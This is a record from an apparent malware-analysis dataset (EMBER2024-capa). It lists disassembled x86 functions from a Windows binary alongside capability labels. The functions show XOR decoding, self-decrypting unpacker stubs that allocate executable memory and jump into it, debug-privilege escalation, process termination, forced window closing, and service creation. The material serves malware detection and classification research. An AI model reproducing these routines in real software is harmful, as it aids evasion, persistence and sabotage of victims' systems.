joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407bf4
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov esi, edx
mov ebx, eax
mov byte [ebp - 1], 0
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
mov eax, esi
call fcn.00403cd0
push eax
mov eax, dword [0x414dd4]
mov eax, dword [eax]
call eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x407c8c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0xffffffff
jne 0x407c45
call fcn.00403488
jmp 0x407c93
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, ebx
call fcn.00403ad0
push eax
mov eax, ebx
call fcn.00403cd0
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetEndOfFile_1
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407c93
mov eax, dword [ebp - 8]
push eax
mov eax, dword [0x414df8]
mov eax, dword [eax]
call eax
ret
mov al, byte [ebp - 1]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407cb4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403cc0
xor eax, eax
push ebp
push 0x407d3e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403930
mov eax, dword [ebp - 4]
call fcn.00403cd0
call fcn.00407c9c
mov ebx, eax
test ebx, ebx
jle 0x407d20
mov edi, 1
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
movzx edx, byte [edx + edi - 1]
xor edx, dword [ebp - 8]
call fcn.00403a6c
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.00403ad8
inc edi
dec ebx
jne 0x407cff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407d45
lea eax, [ebp - 0xc]
call fcn.00403930
lea eax, [ebp - 4]
call fcn.00403930
ret
Function at 0x408048
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbb8
push ebx
xor eax, eax
mov dword [ebp - 0x444], eax
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp + 8]
xor eax, eax
push ebp
push 0x408213
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
xor eax, eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0xa
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x24]
lea edx, [ebp - 0x20]
mov eax, ebx
call fcn.00407edc
push 0
push 0
push 0
push 0
push 0x408224
call dword [0x415724]
mov dword [ebp - 0x14], eax
push 0
push 0x80000000
push 0
push 0
mov eax, ebx
call fcn.00403cd0
push eax
mov eax, dword [ebp - 0x14]
push eax
call dword [0x415728]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x40]
push eax
push 0x13
mov eax, dword [ebp - 0x18]
push eax
call dword [0x41572c]
lea eax, [ebp - 0x444]
lea edx, [ebp - 0x40]
call fcn.00403a7c
mov eax, dword [ebp - 0x444]
push eax
lea ecx, [ebp - 0x448]
mov edx, 0x1b
mov eax, 0x408234
call fcn.00407cb4
mov edx, dword [ebp - 0x448]
pop eax
call fcn.00403c1c
jne 0x4081d4
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
mov eax, dword [ebp + 0xc]
call fcn.00403cd0
push eax
mov eax, dword [0x414dd4]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x2c], eax
xor eax, eax
push ebp
push 0x4081cd
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0x2c], 0xffffffff
jne 0x408167
call fcn.00403488
jmp 0x4081e8
lea eax, [ebp - 0x28]
push eax
push 0x400
lea eax, [ebp - 0x440]
push eax
mov eax, dword [ebp - 0x18]
push eax
call dword [0x41573c]
test eax, eax
je 0x40819f
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x28]
push eax
lea eax, [ebp - 0x440]
push eax
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_WriteFile_1
cmp dword [ebp - 0x28], 0
jne 0x408167
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_SetEndOfFile_1
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4081d4
mov eax, dword [ebp - 0x2c]
push eax
mov eax, dword [0x414df8]
mov eax, dword [eax]
call eax
ret
mov eax, dword [ebp - 0x18]
push eax
call dword [0x415740]
mov eax, dword [ebp - 0x14]
push eax
call dword [0x415740]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40821a
lea eax, [ebp - 0x448]
mov edx, 2
call fcn.00403954
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.00403954
ret
Function at 0x409268
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403cc0
mov eax, dword [ebp - 8]
call fcn.00403cc0
mov eax, dword [ebp - 0xc]
call fcn.00403cc0
xor eax, eax
push ebp
push 0x4093bd
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x10], eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.00403cd0
push eax
mov eax, dword [0x414dd4]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x40938e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetFileSize_1
mov ebx, eax
mov eax, ebx
call fcn.00402518
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x40936c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 0x18]
push eax
push ebx
mov esi, dword [ebp - 0x1c]
push esi
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_ReadFile_1
mov eax, dword [ebp - 0xc]
call fcn.00403cd0
mov edx, eax
lea eax, [ebp - 0x20]
call fcn.00403a7c
mov eax, dword [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 8]
call fcn.00403cd0
mov edx, eax
lea eax, [ebp - 0x24]
call fcn.00403a7c
mov eax, dword [ebp - 0x24]
mov edx, esi
mov ecx, ebx
call fcn.004091b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409373
mov eax, dword [ebp - 0x1c]
call fcn.00402538
ret

Function at 0x4094b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403cc0
xor eax, eax
push ebp
push 0x40953a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403930
mov eax, dword [ebp - 4]
call fcn.00403cd0
call fcn.00409498
mov ebx, eax
test ebx, ebx
jle 0x40951c
mov edi, 1
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
movzx edx, byte [edx + edi - 1]
xor edx, dword [ebp - 8]
call fcn.00403a6c
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.00403ad8
inc edi
dec ebx
jne 0x4094fb
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409541
lea eax, [ebp - 0xc]
call fcn.00403930
lea eax, [ebp - 4]
call fcn.00403930
ret
Function at 0x4095f0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x110], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403cc0
mov eax, dword [ebp - 8]
call fcn.00403cc0
xor eax, eax
push ebp
push 0x40971c
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0x40972c
mov eax, dword [ebp - 4]
call fcn.00403cd0
mov esi, eax
push esi
call sub.kernel32.dll_lstrcmpiA
test eax, eax
jne 0x4096da
push 0
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindow
mov esi, eax
test esi, esi
je 0x4096f1
push 0xff
lea eax, [ebp - 0x107]
push eax
push esi
call sub.user32.dll_GetWindowTextA
test eax, eax
jle 0x4096ca
lea edx, [ebp - 0x110]
lea eax, [ebp - 0x107]
call fcn.00409448
mov eax, dword [ebp - 0x110]
lea edx, [ebp - 0x10c]
call fcn.0040945c
mov eax, dword [ebp - 0x10c]
push eax
lea edx, [ebp - 0x114]
mov eax, dword [ebp - 8]
call fcn.0040945c
mov eax, dword [ebp - 0x114]
pop edx
call fcn.00403db8
test eax, eax
je 0x4096ca
mov bl, 1
jmp 0x4096f1
push 2
push esi
call sub.user32.dll_GetWindow
mov esi, eax
test esi, esi
jne 0x409669
jmp 0x4096f1
mov eax, dword [ebp - 8]
call fcn.00403cd0
push eax
push esi
call sub.user32.dll_FindWindowA
mov esi, eax
test esi, esi
je 0x4096f1
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409723
lea eax, [ebp - 0x114]
mov edx, 3
call fcn.00403954
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403954
ret

Function at 0x409d0c
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov ebx, edx
xor edx, edx
mov dword [ebp - 4], edx
xor edx, edx
mov dword [ebx], edx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
mov eax, dword [0x414dd4]
mov eax, dword [eax]
call eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x409da0
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0xffffffff
jne 0x409d58
call fcn.00403488
jmp 0x409da7
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetFileSize_1
mov dword [ebx], eax
mov eax, dword [ebx]
call fcn.00402518
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebx]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_ReadFile_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409da7
mov eax, dword [ebp - 8]
push eax
mov eax, dword [0x414df8]
mov eax, dword [eax]
call eax
ret
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409db0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403930
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, esi
call fcn.00403cd0
push eax
mov eax, dword [0x414dd4]
mov eax, dword [eax]
call eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x409e52
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0xffffffff
jne 0x409e04
call fcn.00403488
jmp 0x409e59
push 0
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetFileSize_1
mov dword [ebp - 8], eax
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00403e00
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, ebx
call fcn.00403d28
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_ReadFile_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409e59
mov eax, dword [ebp - 4]
push eax
mov eax, dword [0x414df8]
mov eax, dword [eax]
call eax
ret
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x40a184
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, ebx
push esi
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 6
je 0x40a19d
push 6
push esi
call sub.kernel32.dll_SetFileAttributesA
pop esi
pop ebx
ret
Function at 0x40a7c0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, edx
dec esi
test esi, esi
jl 0x40a7dd
inc esi
xor edx, edx
xor ebx, ebx
mov bl, byte [eax + edx]
xor bx, 0x7bc9
mov byte [ecx + edx], bl
inc edx
dec esi
jne 0x40a7cc
pop esi
pop ebx
ret

Function at 0x40a7e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 3
add esp, 0xfffff004
push eax
dec eax
jne 0x40a7e9
mov eax, dword [ebp - 4]
add esp, 0xfffff3f8
mov byte [ebp - 1], 0
push 0
push 0
push 2
push 0
push 1
push 0xc0000000
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x40a883
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0xffffffff
jne 0x40a833
call fcn.00403488
jmp 0x40a88a
lea ecx, [ebp - 0x3c0c]
mov eax, 0x4111bc
mov edx, 0x3c00
call fcn.0040a7c0
push 0
lea eax, [ebp - 0xc]
push eax
push 0x3c00
lea eax, [ebp - 0x3c0c]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteFile_1
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a88a
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret

Function at 0x40ab08
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
add esp, 0xffffffe4
mov byte [esp], al
xor ebx, ebx
lea eax, [esp + 4]
push eax
push 0x20
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x40ab8e
mov dword [esp + 0xc], 1
lea eax, [esp + 0x10]
push eax
push 0x40ab98
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
cmp byte [esp], 0
je 0x40ab50
mov dword [esp + 0x18], 2
jmp 0x40ab56
xor eax, eax
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
push 0
push 0x10
lea eax, [esp + 0x18]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
mov eax, dword [0x414dec]
mov eax, dword [eax]
call eax
test eax, eax
sete bl
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, ebx
add esp, 0x1c
pop ebx
ret

Function at 0x40aca0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
mov eax, dword [ebp + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov ebx, eax
push 0
push ebx
call sub.kernel32.dll_TerminateProcess
cmp eax, 1
sbb eax, eax
inc eax
pop ebx
pop ebp
ret 4
Function at 0x40acc8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
xor ebx, ebx
xor edx, edx
mov eax, 2
call fcn.00405afc
mov edi, eax
mov dword [ebp - 0x128], 0x128
lea edx, [ebp - 0x128]
mov eax, edi
call fcn.00405b1c
jmp 0x40ad3c
push esi
lea eax, [ebp - 0x104]
push eax
call sub.kernel32.dll_lstrcmpiA
test eax, eax
jne 0x40ad2f
push 0
mov eax, dword [ebp - 0x120]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
cmp eax, 1
sbb ebx, ebx
inc ebx
lea edx, [ebp - 0x128]
mov eax, edi
call fcn.00405b3c
test eax, eax
jne 0x40ad00
push edi
call sub.kernel32.dll_CloseHandle_1
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40ad84
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp + 8]
call fcn.00403cc0
mov eax, dword [ebp + 0xc]
call fcn.00403cc0
xor eax, eax
push ebp
push 0x40aeff
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40af10
mov eax, dword [ebp + 8]
call fcn.00403cd0
mov esi, eax
push esi
call sub.kernel32.dll_lstrcmpiA
test eax, eax
jne 0x40ae97
push 0
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindow
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40aed4
push 0xff
lea eax, [ebp - 0x103]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_GetWindowTextA
test eax, eax
jle 0x40ae7d
lea edx, [ebp - 0x10c]
lea eax, [ebp - 0x103]
call fcn.0040a8f8
mov eax, dword [ebp - 0x10c]
lea edx, [ebp - 0x108]
call fcn.0040a90c
mov eax, dword [ebp - 0x108]
push eax
lea edx, [ebp - 0x110]
mov eax, dword [ebp + 0xc]
call fcn.0040a90c
mov eax, dword [ebp - 0x110]
pop edx
call fcn.00403db8
test eax, eax
je 0x40ae7d
push 0
push 0xf060
push 0x112
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_PostMessageA
cmp byte [ebp + 0x10], 0
je 0x40ae7d
push ebp
mov eax, dword [ebp - 4]
call fcn.0040ad54
pop ecx
push 2
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_GetWindow
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40adf8
jmp 0x40aed4
mov eax, dword [ebp + 0xc]
call fcn.00403cd0
push eax
push esi
call sub.user32.dll_FindWindowA
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40aed4
push 0
push 0xf060
push 0x112
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_PostMessageA
cmp byte [ebp + 0x10], 0
je 0x40aed4
push ebp
mov eax, dword [ebp - 4]
call fcn.0040ad54
pop ecx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40af06
lea eax, [ebp - 0x110]
mov edx, 3
call fcn.00403954
lea eax, [ebp + 8]
mov edx, 2
call fcn.00403954
ret
Function at 0x40b740
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403cc0
xor eax, eax
push ebp
push 0x40b82f
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
call fcn.00403cd0
mov ebx, eax
mov edx, ebx
lea eax, [ebp - 0x10]
call fcn.00403a7c
mov eax, dword [ebp - 0x10]
call fcn.00405450
test al, al
je 0x40b811
push ebx
call sub.kernel32.dll_GetFileAttributesA
mov esi, eax
mov eax, esi
and eax, 0x80000001
jns 0x40b7a4
dec eax
or eax, 0xfffffffe
inc eax
dec eax
jne 0x40b7af
push 0
push ebx
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
mov eax, dword [0x414dd4]
mov eax, dword [eax]
call eax
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x40b80a
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0xc], 0xffffffff
sete byte [ebp - 5]
test esi, esi
je 0x40b7ef
push esi
push ebx
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b811
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [0x414df8]
mov eax, dword [eax]
call eax
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b836
lea eax, [ebp - 0x10]
call fcn.00403930
lea eax, [ebp - 4]
call fcn.00403930
ret

Function at 0x40b840
Capabilities:
Create service
Start service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403cc0
mov eax, dword [ebp - 8]
call fcn.00403cc0
xor eax, eax
push ebp
push 0x40b933
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x40b911
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0x14], 0
je 0x40b8fa
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00403cd0
push eax
push 0
push 3
push 1
push 0x30
mov eax, dword [ebp - 4]
call fcn.00403cd0
mov esi, eax
push esi
push esi
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_CreateServiceA
mov ebx, eax
mov eax, dword [0x414dec]
mov eax, dword [eax]
call eax
cmp eax, 0x431
jne 0x40b8e5
push 0x10
push esi
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_OpenServiceA
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
push 0
push ebx
call sub.advapi32.dll_StartServiceA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 9], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b918
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_CloseServiceHandle
ret
Function at 0x40bae0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe90
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403cc0
xor eax, eax
push ebp
push 0x40bc2d
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
call fcn.00405450
test al, al
je 0x40bc17
mov eax, dword [ebp - 4]
call fcn.0040ba3c
mov edi, eax
push 0
push 0
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.00403cd0
push eax
mov eax, dword [0x414dd4]
mov eax, dword [eax]
call eax
mov dword [ebp - 0xc], eax
xor ecx, ecx
push ebp
push 0x40bc10
push dword fs:[ecx]
mov dword fs:[ecx], esp
cmp dword [ebp - 0xc], 0xffffffff
jne 0x40bb66
call fcn.00403488
jmp 0x40bc17
push 0
lea eax, [ebp - 0x10]
push eax
push 0x40
lea eax, [ebp - 0x50]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_ReadFile_1
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_SetFilePointer_1
push 0
lea eax, [ebp - 0x10]
push eax
push 0xf8
lea eax, [ebp - 0x148]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_ReadFile_1
movzx ebx, word [ebp - 0x142]
dec ebx
test ebx, ebx
jl 0x40bbf5
inc ebx
xor esi, esi
push 0
lea eax, [ebp - 0x10]
push eax
push 0x28
lea eax, [ebp - 0x170]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_ReadFile_1
movzx eax, word [ebp - 0x142]
dec eax
cmp esi, eax
jne 0x40bbf1
mov eax, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x160]
add edx, eax
mov eax, edx
mov edx, edi
sub edx, eax
mov dword [ebp - 8], edx
inc esi
dec ebx
jne 0x40bbb6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bc17
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [0x414df8]
mov eax, dword [eax]
call eax
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bc34
lea eax, [ebp - 4]
call fcn.00403930
ret

Function at 0x40be50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee8
push ebx
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x14]
call fcn.00403cc0
xor eax, eax
push ebp
push 0x40bfaa
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.00403930
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0x100
lea eax, [ebp - 0x10]
push eax
push 0xf003f
push 0
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
call sub.advapi32.dll_RegOpenKeyExA_1
xor eax, eax
push ebp
push 0x40befd
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x18]
push eax
push 0
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x40bee6
lea eax, [ebp - 8]
lea edx, [ebp - 0x118]
mov ecx, 0x100
call fcn.00403ab8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bf04
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
Function at 0x25817019
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x25817028
pop dword [ebp - 0x30]
mov eax, 0x73af05e2
sub eax, 0x4e2d95ba
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x8198241c
sub dword [ebp - 0x40], 0x3345ded1
mov dword [ebp - 0x3c], 0x3628b3fc
add dword [ebp - 0x3c], 0xfc0a9849
mov dword [ebp - 0x38], 0x1a3eb218
add dword [ebp - 0x38], 0x320d9216
mov dword [ebp - 0x34], 0x2ff413a0
sub dword [ebp - 0x34], 0x2ff413a0
lea eax, [ebp - 0x40]
push eax
mov eax, 0xc6296070
sub eax, 0xa0a7902c
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x7346ddb1
sub dword [ebp - 0x40], 0xfed4745b
mov dword [ebp - 0x3c], 0x857f0a16
sub dword [ebp - 0x3c], 0x4412a8a1
mov dword [ebp - 0x38], 0xbd78facd
sub dword [ebp - 0x38], 0x5a098e61
mov dword [ebp - 0x34], 0xcbc9d464
sub dword [ebp - 0x34], 0xcbc9d464
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3ccfd
push 0
call eax
mov ecx, 0x5ee6e7c5
add ecx, 0xa119600b
xor esi, esi
add esi, eax
mov edx, 0x63fec9ce
add edx, 0xc183cc32
add edx, dword [ebp - 0x30]
mov edi, 0x77811958
add edi, 0x513ace2b
sub dword [ebp - 0x24], 0x1a1f0f7f
mov ebx, dword [edx]
sub ebx, edi
add dword [ebp - 0x1c], 0xf52c5b37
mov dword [esi], ebx
xor dword [ebp - 0x1c], ecx
add esi, 4
add edx, 0xd108af3
add edx, 0xf2ef7511
loop 0x25817147
add eax, 0xd7cdee59
sub eax, 0xd7ccdc46
xor ebx, ebx
add ebx, eax
add eax, 0x14c9880f
add eax, 0xeb3677f6
mov ecx, 0x50743e2a
add ecx, 0xd50bc1d6
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx